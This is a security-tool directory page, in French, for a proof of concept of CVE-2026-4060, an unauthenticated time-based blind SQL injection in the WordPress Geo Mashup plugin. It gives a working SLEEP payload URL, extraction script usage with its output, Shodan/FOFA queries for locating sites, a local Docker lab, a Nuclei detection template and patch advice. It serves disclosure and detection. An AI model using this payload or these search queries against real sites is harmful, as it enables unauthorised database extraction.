Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-4060-PoC — Preuve de concept pour CVE-2026-4060 : injection SQL aveugle basée sur le temps sans authentification dans le plugin WordPress Geo Mashup via la clause ORDER BY. Comprend un script d'exploitation, un environnement de laboratoire et un modèle de détection Nuclei. | Kitploit
Outils/GitHubGitHub/ydking0911/cve-2026-4060-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebCTFTests d'IntrusionApprentissage et Éducation
GitHubydking0911/cve-2026-4060-poc

CVE-2026-4060-PoC

Preuve de concept pour CVE-2026-4060 : injection SQL aveugle basée sur le temps sans authentification dans le plugin WordPress Geo Mashup via la clause ORDER BY. Comprend un script d'exploitation, un environnement de laboratoire et un modèle de détection Nuclei.

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
il y a 3 moisPas encore vérifié

CVE-2026-4060 — Geo Mashup ≤ 1.13.18 Preuve de concept d'injection SQL non authentifiée

Severity CVSS Type Status

Des attaquants non authentifiés peuvent injecter du SQL arbitraire dans la clause ORDER BY via le paramètre sort du point de terminaison render-map de Geo Mashup, permettant l'extraction aveugle basée sur le temps d'informations sensibles de la base de données.


Table des matières

  • Présentation de la vulnérabilité
  • Environnement de test
  • Comment exécuter
  • Résultats des tests
  • Mesures d'atténuation
  • Détection
  • Chronologie
  • Références

Présentation de la vulnérabilité

Détail technique

Le paramètre sort accepté par le point de terminaison render-map est passé directement dans un appel $wpdb->get_results() sans assainissement :

root@kitploit:~
// render-map.php (simplified)
$sort = $_GET['sort'];
$results = $wpdb->get_results(
    "SELECT ... FROM wp_geo_mashup_locations ... ORDER BY $sort"
);

Comme $sort est interpolé tel quel, un attaquant peut injecter une sous-requête dans la clause ORDER BY. Le wpdb de WordPress échappe les guillemets simples, donc le PoC utilise ORD(SUBSTRING(...)) avec des comparaisons numériques pour contourner cette restriction et effectuer une extraction aveugle basée sur le temps.

Point de terminaison vulnérable :

root@kitploit:~
GET /?geo_mashup_content=render-map&map_content=global&sort=<PAYLOAD>

Environnement de test

Architecture du laboratoire

root@kitploit:~
┌─────────────────────────────────┐
│  Host (localhost:8080)          │
│                                 │
│  ┌─────────────┐  ┌──────────┐  │
│  │ WordPress   │  │ MariaDB  │  │
│  │ 6.8.2+PHP82 │──│  11.4    │  │
│  │ :80         │  │ :3306    │  │
│  └─────────────┘  └──────────┘  │
│       + Geo Mashup 1.13.18      │
└─────────────────────────────────┘

Geo Mashup 1.13.18 actif dans l'admin WordPress :

Geo Mashup 1.13.18 actif dans l'admin WordPress


Comment exécuter

1. Démarrer le laboratoire

root@kitploit:~
git clone https://github.com/ydking0911/CVE-2026-4060-PoC.git
cd CVE-2026-4060-PoC
bash setup.sh

setup.sh va :

  • Démarrer les conteneurs WordPress 6.8.2 + MariaDB 11.4
  • Installer et activer Geo Mashup 1.13.18 (version vulnérable) via WP-CLI
  • Créer un article avec géolocalisation afin que le point de terminaison de la carte renvoie une réponse valide

Une fois terminé :

  • Site : http://localhost:8080
  • Admin : http://localhost:8080/wp-admin (utilisateur : admin / mot de passe : admin)

2. Confirmer la vulnérabilité (injection SLEEP)

root@kitploit:~
time curl -s -o /dev/null \
  "http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"

Un délai de réponse d'environ 8 secondes confirme l'injection SQL dans ORDER BY.

3. Extraire les données (PoC)

root@kitploit:~
# Default — print extracted results only
python3 poc.py --url http://localhost:8080

# Verbose — show each payload, response time, and extracted character
python3 poc.py --url http://localhost:8080 --verbose

# Confirm SQLi only, skip data extraction
python3 poc.py --url http://localhost:8080 --confirm-only

4. Exécuter le modèle de détection Nuclei

root@kitploit:~
nuclei -t nuclei/CVE-2026-4060.yaml -u http://localhost:8080

5. Arrêter le laboratoire

root@kitploit:~
docker compose down -v

Résultats des tests

Vrai positif (TP) — Cible vulnérable

TP-1 : Injection ORDER BY SLEEP(8) confirmée

L'injection d'une sous-requête SLEEP(8) via le paramètre sort produit un délai de réponse d'environ 8 secondes.

root@kitploit:~
time curl -s -o /dev/null \
  "http://localhost:8080/?...&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"

SLEEP(8) via ORDER BY — réponse en 8,05 s

TP-2 : Extraction des données (mode verbeux)

Le PoC extrait les données caractère par caractère à l'aide de comparaisons ORD(SUBSTRING(...)) : envoyer la charge utile → mesurer le temps de réponse → confirmer le caractère lorsque SLEEP se déclenche.

root@kitploit:~
python3 poc.py --url http://localhost:8080 --verbose

poc.py verbeux — charge utile, temporisation, caractères extraits

Données extraites :

RequêteRésultat
VERSION()11.4.10-MariaDB
DATABASE()wordpress
USER()[email protected]

TP-3 : Détection par le modèle Nuclei

root@kitploit:~
[CVE-2026-4060] [http] [high]
http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29

Scan completed in 8.07s. 1 matches found.

Faux positif (FP) — Cible non vulnérable

Le modèle Nuclei utilise un flux en deux étapes pour éviter les faux positifs.

FP-1 : Geo Mashup non installé

Si readme.txt renvoie une 404 à l'étape 1, l'analyse se termine immédiatement sans envoyer la charge utile SQL.

root@kitploit:~
Scan completed in 62ms. 0 matches found.   ✅

FP-2 : Version corrigée (≥ 1.13.19)

Vérification de la version du plugin via readme.txt :

readme.txt montrant Stable tag : 1.13.18

Si compare_versions(version, '<= 1.13.18') échoue, l'étape 2 est entièrement ignorée.

root@kitploit:~
Scan completed in 19ms. 0 matches found.   ✅

Mesures d'atténuation

ActionDétail
Mise à jourMettre à niveau Geo Mashup vers 1.13.19 ou une version ultérieure
TemporaireDésactiver le plugin jusqu'à l'application d'une mise à jour

Commit de correctif : plugins.trac.wordpress.org/changeset/3503627


Détection

Modèle Nuclei : nuclei/CVE-2026-4060.yaml

Flux de détection :

root@kitploit:~
Step 1: GET /wp-content/plugins/geo-mashup/readme.txt
        → confirm plugin exists + version <= 1.13.18

Step 2: GET /?geo_mashup_content=render-map&...&sort=SLEEP(8)
        → status 200 + GeoMashup.createMap + duration >= 8s

Shodan / FOFA :

root@kitploit:~
Shodan: http.html:"geo-mashup"
FOFA:   body="geo-mashup"

Chronologie

DateÉvénement
2026-04Vulnérabilité découverte
2026-04Signalée à l'auteur du plugin
2026-05Correctif Geo Mashup 1.13.19 publié
2026-05-14CVE attribué et divulgation publique

Références

  • NVD — CVE-2026-4060
  • Avis Wordfence
  • Correctif du plugin (changeset)
  • CWE-89

Avertissement

Ce dépôt est destiné uniquement à des fins éducatives et de tests de sécurité autorisés.
Ne l'utilisez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite de tester.
L'auteur n'est pas responsable de toute utilisation abusive de ce contenu.

Télécharger l’outil
ChampDétail
CVECVE-2026-4060
PluginGeo Mashup par cyberhobo
Versions affectées≤ 1.13.18
Corrigé dans1.13.19
CVSS v3.17.5 (Élevée) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CWECWE-89 — Neutralisation inappropriée d'éléments spéciaux utilisés dans une requête SQL
Authentification requiseAucune (non authentifié)
ComposantVersion
Système d'exploitationmacOS (Darwin 25.4.0)
Docker27.x
WordPress6.8.2 (PHP 8.2, Apache)
MariaDB11.4
Geo Mashup1.13.18 (vulnérable)
Python3.x (pour poc.py)
Nucleiv3.8.0
WAFBloquer les modèles d'injection de sous-requêtes dans les clauses ORDER BY